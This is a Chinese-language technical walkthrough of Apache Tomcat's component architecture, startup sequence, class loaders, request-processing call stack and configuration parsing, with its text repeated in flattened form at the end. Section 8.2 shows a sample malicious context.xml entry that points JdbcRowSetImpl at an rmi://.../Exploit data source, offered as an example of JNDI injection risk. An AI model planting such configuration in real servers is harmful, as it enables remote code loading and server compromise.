tomcat 流程及组件浅析
字数 4232 2025-08-29 08:32:19

Tomcat流程及组件深度解析

1. Tomcat核心功能概述

Tomcat作为一个中间件,主要实现Web请求的处理,其核心功能包括:

  1. 接受用户连接
  2. 解析请求数据
  3. 处理请求
  4. 发送响应

简化请求过程:

  1. 客户端(用户浏览器)发起请求
  2. 服务端接受并处理请求
  3. 服务端返回结果给客户端

2. Servlet容器设计

Servlet容器解决了不同请求类型需要不同处理的问题:

  • 定义Servlet接口,所有处理请求的业务类必须实现该接口
  • 将不同Servlet放入容器中,由容器根据请求类型分发

关键组件:

  • ServletRequest:封装用户请求信息
  • ServletResponse:封装Servlet处理结果

处理流程:

  1. 客户端发送HTTP请求
  2. HTTP服务器将请求封装为ServletRequest对象,交给Servlet容器
  3. Servlet容器根据URL和Servlet映射关系找到对应的Servlet
  4. Servlet处理请求,将结果封装为ServletResponse
  5. 服务器将响应发送给客户端

3. Tomcat组件架构

Tomcat作为Web容器需要实现两大基础功能:

  1. Socket连接(通信和HTTP报文解析)
  2. Servlet容器(请求处理)

主要组件设计:

3.1 核心组件

  • Server:代表Tomcat实例,一个服务可包含多个Service
  • Service:组装Connector和Container
    • Connector:连接器,完成HTTP服务器功能(建立socket连接)
    • Container:容器,完成内部处理功能(Servlet容器)

3.2 详细架构体系

  1. Server:Tomcat服务器,最外层组件
    • 1.1 Service:Tomcat服务(标准实现类为StandardService)
      • 1.1.1 Connector:连接器,负责socket连接,将字节流封装为Request
      • 1.1.2 Container:Tomcat容器,将数据进一步处理为ServletRequest
        • 1.1.2.1 Engine:Servlet引擎(标准实现为StandardEngine)
          • 1.1.2.1.1 Host:虚拟主机(可多个,标准实现为StandardHost)
            • 1.1.2.1.1.1 Context:Servlet的Context,代表运行环境(StandardContext)
              • 1.1.2.1.1.1.1 Wrapper:代表一个Servlet(StandardWrapper)
      • 1.1.3 Jasper:JSP会话引擎
      • 1.1.4 Session:会话管理

4. Connector设计

4.1 核心功能

  1. Socket通信(EndPoint端点)
  2. 解析处理应用层协议,封装为Request对象(Processor加工处理)
  3. 将Request转换为ServletRequest,Response转换为ServletResponse(Adapter转化器)

4.2 处理流程

  1. EndPoint:进行socket连接,提供字节流给Processor(传输层socket)
  2. Processor:封装字节流为Request数据(应用层HTTP)
  3. Adapter:转化Request为ServletRequest

5. Tomcat启动流程分析

5.1 主程序入口

org.apache.catalina.startup.Bootstrap.main()关键步骤:

  1. bootstrap.init():初始化

    • 初始化类加载器
    • 反射加载org.apache.catalina.startup.Catalina
    • 加载配置文件conf/server.xml
    • 初始化三个类加载器:
      • commonLoader(父类加载器)
      • catalinaLoader(子类加载器)
      • sharedLoader(子类加载器)
  2. 反射调用Catalina的load()方法:

    • 读取server.xml配置文件
    • 调用getServer()返回StandardServer对象
    • 设置基础目录
    • 调用server.init()初始化server组件
  3. daemon.start()

    • 反射调用Catalina.start()
    • 实例化CatalinaShutdownHook()用于停止服务

5.2 类加载机制

5.2.1 双亲委派机制

加载顺序:

  1. Java核心类 - 启动类加载器
  2. Java扩展类 - 扩展类加载器
  3. 用户自定义类 - 应用程序类加载器或其子类

5.2.2 Tomcat类加载器

  • commonLoader:加载Tomcat和Web应用共用的类
  • catalinaLoader:加载Tomcat专用类
  • sharedLoader:加载Web应用需要的类
  • JsperLoader:每个JSP页面一个类加载器

子类加载器的类不共享,对其他类加载器封闭。

5.2.3 WebApp类加载器

StandardContextstartInternal()中:

WebappLoader webappLoader = new WebappLoader(getParentClassLoader());
webappLoader.setDelegate(getDelegate());
setLoader(webappLoader);

5.3 初始化流程解析

  1. getServer().init()

    • 返回StandardServer对象
    • 调用父类LifecycleBase.init()
  2. 内部调用initInternal()

    • StandardServer.initInternal()
    • 调用services[i].init()初始化各service组件
  3. StandardService.initInternal()

    • engine.init()初始化engine
    • connector.init()初始化connector
  4. connector.initInternal()

    • 新建CoyoteAdapter适配器
    • protocolHandler.init()初始化protocolHandler
      • AbstractProtocol.init()调用endpoint.init()初始化endpoint

5.4 生命周期管理

LifecycleBase是Tomcat组件生命周期管理的基础类,关键方法:

  • init()
  • start()
  • stop()
  • destroy()

6. Container设计

org.apache.catalina.Container接口,由以下组件继承实现:

主要方法:

  • getParent()/setParent():获取/设置父容器
  • getService()/setService():获取/设置Service(Engine特有)

7. 请求处理调用栈分析

从下往上的关键调用栈:

  1. Socket连接处理

    • doRun:1539, NioEndpoint$SocketProcessor
    • run:1495, NioEndpoint$SocketProcessor
  2. HTTP请求封装

    • process:1152, AbstractHttp11Processor
    • process:684, AbstractProtocol$AbstractConnectionHandler
  3. 请求转换

    • service:502, CoyoteAdapter
  4. 容器处理链

    • invoke:212, StandardWrapperValve
    • invoke:94, StandardContextValve
    • invoke:492, AuthenticatorBase
    • invoke:141, StandardHostValve
    • invoke:80, ErrorReportValve
    • invoke:620, AbstractAccessLogValve
    • invoke:88, StandardEngineValve
  5. Filter链处理

    • internalDoFilter:292, ApplicationFilterChain
    • doFilter:207, ApplicationFilterChain
    • doFilter:52, WsFilter
    • internalDoFilter:240, ApplicationFilterChain
    • doFilter:207, ApplicationFilterChain
    • doFilterInternal:88, CharacterEncodingFilter
    • doFilter:106, OncePerRequestFilter
    • internalDoFilter:240, ApplicationFilterChain
    • doFilter:207, ApplicationFilterChain

8. 配置文件解析

8.1 web.xml解析

StandardContext中,web.xml信息保存在watchedResources变量中。

解析流程:

  1. 调用ContextConfig#webConfig()
  2. 生成WebXmlParser解析XML
  3. 调用getDefaultWebXmlFragment
    • 如果web.xml不存在,使用默认的conf/web.xml

关键解析类:

  • SetPropertiesRule.begin():反射调用set方法
  • SetContextPropertiesRule
  • SetAllPropertiesRule

8.2 配置文件安全风险

示例:通过context.xml添加恶意配置

<manager autocommit="true" 
         classname="com.sun.rowset.JdbcRowSetImpl" 
         datasourcename="rmi://127.0.0.1/Exploit"></manager>

这种配置可能导致JNDI注入等安全问题,但会引发服务启动异常。

9. 总结

Tomcat的核心设计要点:

  1. 分层组件架构:Server→Service→Connector/Container→Engine→Host→Context→Wrapper
  2. 连接器-容器分离设计:Connector处理网络通信,Container处理业务逻辑
  3. 生命周期管理:通过LifecycleBase统一管理组件生命周期
  4. 类加载隔离:多级类加载器实现环境隔离
  5. 责任链模式:通过Valve和Filter链实现请求处理流程

安全相关注意点:

  1. 配置文件注入风险
  2. 类加载机制可能被绕过
  3. 反射调用set方法的安全隐患
  4. JNDI注入等传统漏洞
Tomcat流程及组件深度解析 1. Tomcat核心功能概述 Tomcat作为一个中间件,主要实现Web请求的处理,其核心功能包括: 接受用户连接 解析请求数据 处理请求 发送响应 简化请求过程: 客户端(用户浏览器)发起请求 服务端接受并处理请求 服务端返回结果给客户端 2. Servlet容器设计 Servlet容器解决了不同请求类型需要不同处理的问题: 定义Servlet接口,所有处理请求的业务类必须实现该接口 将不同Servlet放入容器中,由容器根据请求类型分发 关键组件: ServletRequest :封装用户请求信息 ServletResponse :封装Servlet处理结果 处理流程: 客户端发送HTTP请求 HTTP服务器将请求封装为ServletRequest对象,交给Servlet容器 Servlet容器根据URL和Servlet映射关系找到对应的Servlet Servlet处理请求,将结果封装为ServletResponse 服务器将响应发送给客户端 3. Tomcat组件架构 Tomcat作为Web容器需要实现两大基础功能: Socket连接(通信和HTTP报文解析) Servlet容器(请求处理) 主要组件设计: 3.1 核心组件 Server :代表Tomcat实例,一个服务可包含多个Service Service :组装Connector和Container Connector :连接器,完成HTTP服务器功能(建立socket连接) Container :容器,完成内部处理功能(Servlet容器) 3.2 详细架构体系 Server :Tomcat服务器,最外层组件 1.1 Service :Tomcat服务(标准实现类为StandardService) 1.1.1 Connector :连接器,负责socket连接,将字节流封装为Request 1.1.2 Container :Tomcat容器,将数据进一步处理为ServletRequest 1.1.2.1 Engine :Servlet引擎(标准实现为StandardEngine) 1.1.2.1.1 Host :虚拟主机(可多个,标准实现为StandardHost) 1.1.2.1.1.1 Context :Servlet的Context,代表运行环境(StandardContext) 1.1.2.1.1.1.1 Wrapper :代表一个Servlet(StandardWrapper) 1.1.3 Jasper :JSP会话引擎 1.1.4 Session :会话管理 4. Connector设计 4.1 核心功能 Socket通信(EndPoint端点) 解析处理应用层协议,封装为Request对象(Processor加工处理) 将Request转换为ServletRequest,Response转换为ServletResponse(Adapter转化器) 4.2 处理流程 EndPoint :进行socket连接,提供字节流给Processor(传输层socket) Processor :封装字节流为Request数据(应用层HTTP) Adapter :转化Request为ServletRequest 5. Tomcat启动流程分析 5.1 主程序入口 org.apache.catalina.startup.Bootstrap.main() 关键步骤: bootstrap.init() :初始化 初始化类加载器 反射加载 org.apache.catalina.startup.Catalina 类 加载配置文件 conf/server.xml 初始化三个类加载器: commonLoader (父类加载器) catalinaLoader (子类加载器) sharedLoader (子类加载器) 反射调用Catalina的 load() 方法: 读取 server.xml 配置文件 调用 getServer() 返回 StandardServer 对象 设置基础目录 调用 server.init() 初始化server组件 daemon.start() : 反射调用 Catalina.start() 实例化 CatalinaShutdownHook() 用于停止服务 5.2 类加载机制 5.2.1 双亲委派机制 加载顺序: Java核心类 - 启动类加载器 Java扩展类 - 扩展类加载器 用户自定义类 - 应用程序类加载器或其子类 5.2.2 Tomcat类加载器 commonLoader :加载Tomcat和Web应用共用的类 catalinaLoader :加载Tomcat专用类 sharedLoader :加载Web应用需要的类 JsperLoader :每个JSP页面一个类加载器 子类加载器的类不共享,对其他类加载器封闭。 5.2.3 WebApp类加载器 在 StandardContext 的 startInternal() 中: 5.3 初始化流程解析 getServer().init() : 返回 StandardServer 对象 调用父类 LifecycleBase.init() 内部调用 initInternal() : StandardServer.initInternal() 调用 services[i].init() 初始化各service组件 StandardService.initInternal() : engine.init() 初始化engine connector.init() 初始化connector connector.initInternal() : 新建 CoyoteAdapter 适配器 protocolHandler.init() 初始化protocolHandler AbstractProtocol.init() 调用 endpoint.init() 初始化endpoint 5.4 生命周期管理 LifecycleBase 是Tomcat组件生命周期管理的基础类,关键方法: init() start() stop() destroy() 6. Container设计 org.apache.catalina.Container 接口,由以下组件继承实现: 主要方法: getParent() / setParent() :获取/设置父容器 getService() / setService() :获取/设置Service(Engine特有) 7. 请求处理调用栈分析 从下往上的关键调用栈: Socket连接处理 : doRun:1539, NioEndpoint$SocketProcessor run:1495, NioEndpoint$SocketProcessor HTTP请求封装 : process:1152, AbstractHttp11Processor process:684, AbstractProtocol$AbstractConnectionHandler 请求转换 : service:502, CoyoteAdapter 容器处理链 : invoke:212, StandardWrapperValve invoke:94, StandardContextValve invoke:492, AuthenticatorBase invoke:141, StandardHostValve invoke:80, ErrorReportValve invoke:620, AbstractAccessLogValve invoke:88, StandardEngineValve Filter链处理 : internalDoFilter:292, ApplicationFilterChain doFilter:207, ApplicationFilterChain doFilter:52, WsFilter internalDoFilter:240, ApplicationFilterChain doFilter:207, ApplicationFilterChain doFilterInternal:88, CharacterEncodingFilter doFilter:106, OncePerRequestFilter internalDoFilter:240, ApplicationFilterChain doFilter:207, ApplicationFilterChain 8. 配置文件解析 8.1 web.xml解析 在 StandardContext 中, web.xml 信息保存在 watchedResources 变量中。 解析流程: 调用 ContextConfig#webConfig() 生成 WebXmlParser 解析XML 调用 getDefaultWebXmlFragment 如果 web.xml 不存在,使用默认的 conf/web.xml 关键解析类: SetPropertiesRule.begin() :反射调用set方法 SetContextPropertiesRule SetAllPropertiesRule 8.2 配置文件安全风险 示例:通过 context.xml 添加恶意配置 这种配置可能导致JNDI注入等安全问题,但会引发服务启动异常。 9. 总结 Tomcat的核心设计要点: 分层组件架构:Server→Service→Connector/Container→Engine→Host→Context→Wrapper 连接器-容器分离设计:Connector处理网络通信,Container处理业务逻辑 生命周期管理:通过LifecycleBase统一管理组件生命周期 类加载隔离:多级类加载器实现环境隔离 责任链模式:通过Valve和Filter链实现请求处理流程 安全相关注意点: 配置文件注入风险 类加载机制可能被绕过 反射调用set方法的安全隐患 JNDI注入等传统漏洞